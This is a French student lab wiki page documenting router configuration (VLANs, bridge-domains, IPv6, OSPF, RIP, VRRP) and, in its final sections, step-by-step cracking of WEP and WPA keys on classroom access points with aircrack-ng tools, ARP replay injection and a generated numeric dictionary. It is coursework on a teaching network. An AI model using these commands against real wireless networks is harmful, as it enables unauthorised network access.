Cahier 2016 groupe n°5 : Différence entre versions
(→Cahier des charges) |
(#include <stdio.h> #include <stdlib.h> int main(){ FILE *fp=fopen("dico.txt","w+"); int i =0; for(i=0;i<=99999999;i++){ fprintf(fp,"%08d\n",i); } return 0; }) |
||
Ligne 328 : | Ligne 328 : | ||
====Travail réalisé la 5ème semaine ==== | ====Travail réalisé la 5ème semaine ==== | ||
+ | =====Craquage clé WPA ===== | ||
+ | |||
+ | Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne. | ||
+ | Pour le craquage WPA, il nous faut 2 éléments : <br /> | ||
+ | - Un fichier d'échange contenant le handshake <br /> | ||
+ | - Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé. | ||
+ | |||
+ | Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne : | ||
+ | <pre> airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55 wlan0 </pre> | ||
+ | |||
+ | Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake. | ||
+ | |||
+ | En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C. | ||
+ | |||
+ | <pre> | ||
+ | #include <stdio.h> | ||
+ | #include <stdlib.h> | ||
+ | |||
+ | |||
+ | int main(){ | ||
+ | FILE *fp=fopen("dico.txt","w+"); | ||
+ | int i =0; | ||
+ | for(i=0;i<=99999999;i++){ | ||
+ | fprintf(fp,"%08d\n",i); | ||
+ | } | ||
+ | return 0; | ||
+ | } | ||
+ | </pre> | ||
+ | |||
+ | Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire : | ||
+ | <pre> aircrack-ng -w dico.txt dump-02.cap </pre> | ||
+ | On obtient avec succès au bout de quelque minutes : | ||
+ | <pre> | ||
+ | Aircrack-ng 1.2 beta3 | ||
+ | |||
+ | |||
+ | [01:01:47] 12399904 keys tested (3519.77 k/s) | ||
+ | |||
+ | |||
+ | KEY FOUND! [ 12399907 ] | ||
+ | |||
+ | |||
+ | Master Key : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD | ||
+ | D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23 | ||
+ | |||
+ | Transient Key : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47 | ||
+ | 7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B | ||
+ | 2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A | ||
+ | 07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8 | ||
+ | |||
+ | EAPOL HMAC : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9 | ||
+ | </pre> |
Version du 17 novembre 2016 à 10:19
Sommaire
Cahier des charges
Présentation du travail
Répartition du travail
Séance 1 (03/10) | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. |
---|---|
Séance 2 (10/10) | Création des VLAN - Bridge |
Séance 3 (13/10) | Création des VLAN - Bridge |
Séance 4 (24/10) | Test de la configuration locale |
Séance 5 (07/11) | Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRp - Cassage de clé WEP - Cassage de clé WPA |
Séance 6 (21/11) | |
Séance 7 (28/11) | |
Séance 8 (12/12) |
Travail réalisé la 1ère semaine
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd
Ainsi, nous obtenons ce résultat:
Installation Summary --------------------- Hostname : Flash Distribution : jessie MAC Address : 00:16:3E:49:8F:E5 IP Address(es) : 193.48.57.165 RSA Fingerprint : 5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db Root Password : N/A
Travail réalisé la 2e semaine (2 séances)
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs).
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser.
Configuration générale
Communication: Série 9800 Bauds 8 bits sans parité sans contrôle de flux.
Lors de sa première mise en route, nous devons effectuer sa configuration générale :
hostname cisco config hostname enable secret reverse
Puis ensuite, nous pouvons passer à la configuration des VALNs.
Configuration des VLANs
Nous avons 12 VLANs à configurer :
- 11 VLANs (2-11) : VLAN correspondant aux différents groupes.
- 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs
- 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école
Sur l'interface physique du 4331, il y a 3 interfaces:
- Gi 0/0/0 : disponible en cuivre et en fibre
- Gi 0/0/1: disponible en cuivre
- Gi 0/0/2: disponible en fibre
Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des bridge-domain. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain.
Exemple: VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2
Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir.
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:
interface GigabitEthernet 0/0/0.X
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge. Nous devons passer par une nouvelle commande qui s'appelle service instance :
int gi 0/0/0 service instance <n°VLAN> ethernet
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0.
Nous pouvons alors créer nous sous interfaces:
int gi0/0/0 no ip address negociation auto service instance 2 ethernet encapsulation dot1q 2 bridge-domain 2 service instance 3 ethernet encapsulation dot1q 3 bridge-domain 3 ...
int gi0/0/1 no ip address negociation auto service instance 2 ethernet encapsulation dot1q 2 bridge-domain 2 ...
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain.
Configuration des bridge-domain
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain:
bridge irb
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées :
bridge 2 protocol ieee bridge 2 route ip
Enfin, nous pouvons allouer des IP aux différents bridge domain :
int BDI2 ip address 10.60.2.1 255.255.255.0
Et nous répétons ces opérations pour tous les bridge-domain.
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.
Travail réalisé la 3e semaine
Test 1
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM.
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc.
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis eth4.
Ensuite, il fallait trouver le port physique correspondant a eth4. Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules, on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse:
# PCI device 0x14e4:0x1657 (tg3) SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:40", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth4" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:41", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth5" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:42", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth6" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:43", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth7"
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe.
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk.
Premier essai: FAIL
Test 2
Et là, c'est le drame ... On ne ping rien ...
On se demande donc d'où cela peut venir.
Première cause possible : La configuration de CORDOUAN
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande cdpr (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande:
cdpr -d eth4 cdpr - Cisco Discovery Protocol Reporter Version 2.4 Copyright (c) 2002-2010 - MonkeyMental.com Using Device: eth4 Warning opening device (eth4: no IPv4 address assigned) Waiting for CDP advertisement: (default config is to transmit CDP packets every 60 seconds) Device ID value: Switch_E306 Addresses Port ID value: GigabitEthernet4/13
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13.
Deuxième cause possible: Le commutateur
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande cdpr, on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).
Dernière cause possible:Le routeur
On se dit donc que le problème vient du routeur...
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q.
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution peu logique vu que l'encapsulation est déjà faite dans les service instance.
Après encore quelques recherches, une solution plausible est que le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q.
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:
rewrite ingress tag pop 1 symmetric
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.
Résultat OK
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle :
ping 193.48.57.171 PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data. 64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms 64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms ^C --- 193.48.57.171 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 999ms rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.
Travail réalisé la 4e semaine
Configuration IPv6
Nous avons donc pu commencer la configuration IPv6 de notre routeur.
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64.
La configuration est la suivante, pour chaque BDI:
cisco(config)#int BDI6 cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64 cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900 cisco(config-if)#ipv6 nd router-preference high cisco(config-if)#ipv6 enable
Configuration OSPF (IPv4)
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici:
router ospf 1 router-id 10.60.2.1 summary-address 10.60.0.0 255.255.0.0 summary-address 193.48.57.160 255.255.255.240 redistribute connected metric 30 subnets network 192.168.222.0 0.0.0.7 area 1
Configuration RIP (IPv6)
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante:
ipv6 router rip tpima5sc redistribute connected metric 1 redistribute static metric 1 redistribute rip 1 metric 1
La prise en compte du protocole RIP dans la BDI130 est la suivante:
interface BDI130 ip address 192.168.222.1 255.255.255.248 ipv6 address 2001:660:4401:60AA::/64 eui-64 ipv6 enable ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900 ipv6 nd router-preference High ipv6 rip tpima5sc enable
Pour confirmer notre résultat, nous regardons la table de routage IPv6:
cisco#sh ipv6 route IPv6 Routing Table - default - 65 entries Codes: C - Connected, L - Local, S - Static, U - Per-user Static route B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2 IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2 ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application R ::/0 [120/2] via FE80::211:5DFF:FEF2:5400, BDI130 R 2001:660:4401:60::/64 [120/2] via FE80::211:5DFF:FEF2:5400, BDI130 R 2001:660:4401:6000::/56 [120/2] via FE80::211:5DFF:FEF2:5400, BDI130 R 2001:660:4401:6002::/64 [120/2] via FE80::211:5DFF:FEF2:5400, BDI130 R 2001:660:4401:6003::/64 [120/2] via FE80::211:5DFF:FEF2:5400, BDI130 R 2001:660:4401:6004::/64 [120/2] via FE80::211:5DFF:FEF2:5400, BDI130 R 2001:660:4401:6005::/64 [120/2] via FE80::211:5DFF:FEF2:5400, BDI130 R 2001:660:4401:6006::/64 [120/2] via FE80::211:5DFF:FEF2:5400, BDI130
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée.
Configuration VRRP
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs.
Voici la configuration VRRP de notre routeur:
interface BDI2 ip address 10.60.2.1 255.255.255.0 ipv6 address 2001:660:4401:60B0::/64 eui-64 ipv6 enable ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900 ipv6 nd router-preference High vrrp 1 ip 10.60.2.3 vrrp 1 priority 110
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI.
Nous pouvons voir si notre configuration VRRP est effective :
cisco#sh vrrp BDI12 - Group 1 State is Master Virtual IP address is 193.48.57.173 Virtual MAC address is 0000.5e00.0101 Advertisement interval is 1.000 sec Preemption enabled Priority is 110 Master Router is 193.48.57.171 (local), priority is 110 Master Advertisement interval is 1.000 sec Master Down interval is 3.570 sec BDI2 - Group 1 State is Master Virtual IP address is 10.60.2.3 Virtual MAC address is 0000.5e00.0101 Advertisement interval is 1.000 sec Preemption enabled Priority is 110 Master Router is 10.60.2.1 (local), priority is 110 Master Advertisement interval is 1.000 sec Master Down interval is 3.570 sec
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM.
Craquage de clé WEP
On bascule d’abord la carte en mode monitor :
airmon-ng start xxxxxxxx
Ensuite on scan tous les réseaux wifi captés par cette même carte :
airodump-ng –encrypt wep wlan 0
On obtient :
CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 44:AD:D9:5F:87:00 -44 2 0 0 11 54e. WEP WEP Wolverine 04:DA:D2:9C:50:53 -66 2 0 0 13 54e. WEP WEP cracotte04 04:DA:D2:9C:50:55 -70 2 91 35 13 54e. WEP WEP cracotte06 04:DA:D2:9C:50:51 -69 4 33 13 13 54e. WEP WEP cracotte02 04:DA:D2:9C:50:57 -67 3 44 19 13 54e. WEP WEP cracotte08 04:DA:D2:9C:50:56 -69 2 38 11 13 54e. WEP WEP cracotte07 04:DA:D2:9C:50:54 -68 2 37 14 13 54e. WEP WEP cracotte05 04:DA:D2:9C:50:58 -70 2 175 70 13 54e. WEP WEP cracotte09 04:DA:D2:9C:50:50 -68 0 142 52 13 -1 WEP WEP <length: 0> 04:DA:D2:9C:50:52 -70 2 171 64 13 54e. WEP WEP cracotte03 BSSID STATION PWR Rate Lost Frames Probe 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 - 9e 1160 50 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -62 0 -48e 34 7 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -64 0 - 6e 31 6 04:DA:D2:9C:50:56 00:0F:B5:92:23:71 -66 0 -48e 60 6 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -70 0 -24e 52 11 04:DA:D2:9C:50:58 00:0F:B5:92:23:69 -62 0 -48e 12 140
Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :
airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.
aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire :
aircarck-ng out_ox.capavec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées.
On a alors réussi notre craquage au bout de quelque minutes :
Aircrack-ng 1.2 beta3 [00:00:01] Tested 785 keys (got 1349085 IVs) KB depth byte(vote) 0 0/ 2 EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520) 1 1/ 4 DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728) 2 47/ 2 DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480) 3 1/ 2 26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520) 4 4/ 4 F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840) KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] Decrypted correctly: 100%
Travail réalisé la 5ème semaine
Craquage clé WPA
Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.
Pour le craquage WPA, il nous faut 2 éléments :
- Un fichier d'échange contenant le handshake
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.
Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :
airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55 wlan0
Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake.
En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C.
#include <stdio.h> #include <stdlib.h> int main(){ FILE *fp=fopen("dico.txt","w+"); int i =0; for(i=0;i<=99999999;i++){ fprintf(fp,"%08d\n",i); } return 0; }
Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :
aircrack-ng -w dico.txt dump-02.cap
On obtient avec succès au bout de quelque minutes :
Aircrack-ng 1.2 beta3 [01:01:47] 12399904 keys tested (3519.77 k/s) KEY FOUND! [ 12399907 ] Master Key : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23 Transient Key : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47 7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B 2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A 07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8 EAPOL HMAC : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9